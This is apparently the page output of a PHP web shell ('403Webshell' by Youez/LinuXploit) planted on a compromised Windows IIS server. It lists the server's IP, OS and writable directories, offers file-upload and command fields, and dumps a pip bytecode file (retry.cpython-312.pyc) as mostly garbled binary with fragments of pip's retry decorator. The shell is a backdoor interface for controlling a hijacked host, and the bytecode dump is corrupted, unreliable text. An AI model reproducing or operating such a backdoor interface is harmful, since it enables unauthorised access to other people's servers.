403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pip/_internal/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pip/_internal/utils/__pycache__/retry.cpython-312.pyc
�

�k�fp�
��ddlZddlmZmZddlmZmZddlmZed�Z	ed�Z
deded	eee
e	fgee
e	fffd
�Zy)�N)�perf_counter�sleep)�Callable�TypeVar)�	ParamSpec�T�P�wait�stop_after_delay�returnc�d���dtttfdtttff��fd�}|S)a�Decorator to automatically retry a function on error.

    If the function raises, the function is recalled with the same arguments
    until it returns or the time limit is reached. When the time limit is
    surpassed, the last exception raised is reraised.

    :param wait: The time to wait after an error before retrying, in seconds.
    :param stop_after_delay: The time limit after which retries will cease,
        in seconds.
    �funcrc����tj��dtjdtjdt
f���fd��}|S)N�args�kwargsrc���t�}		�|i|��S#t$rt�|z
�kDr�t��YnwxYw�5)N)r�	Exceptionr)rr�
start_timerrr
s   ����;C:\Python312\Lib\site-packages\pip/_internal/utils/retry.py�
retry_wrappedz-retry.<locals>.wrapper.<locals>.retry_wrappedsR���&��J�� ���0��0�0�� � �#�~�
�2�5E�E���$�K� ��s��%>�>)�	functools�wrapsr	rrr)rrrr
s` ��r�wrapperzretry.<locals>.wrappersC���	����	�
	 ����
	 �1�8�8�
	 ��
	 �
�
	 ���)rr	r)r
rrs`` r�retryrs-����h�q�!�t�n���!�Q�$���"�Nr)
r�timerr�typingrr�pip._vendor.typing_extensionsrrr	�floatr�rr�<module>r!s]���$�$�3��C�L��
�c�N���
��#(��
�x��1��~����A���.�/�r

Youez - 2016 - github.com/yon3zu
LinuXploit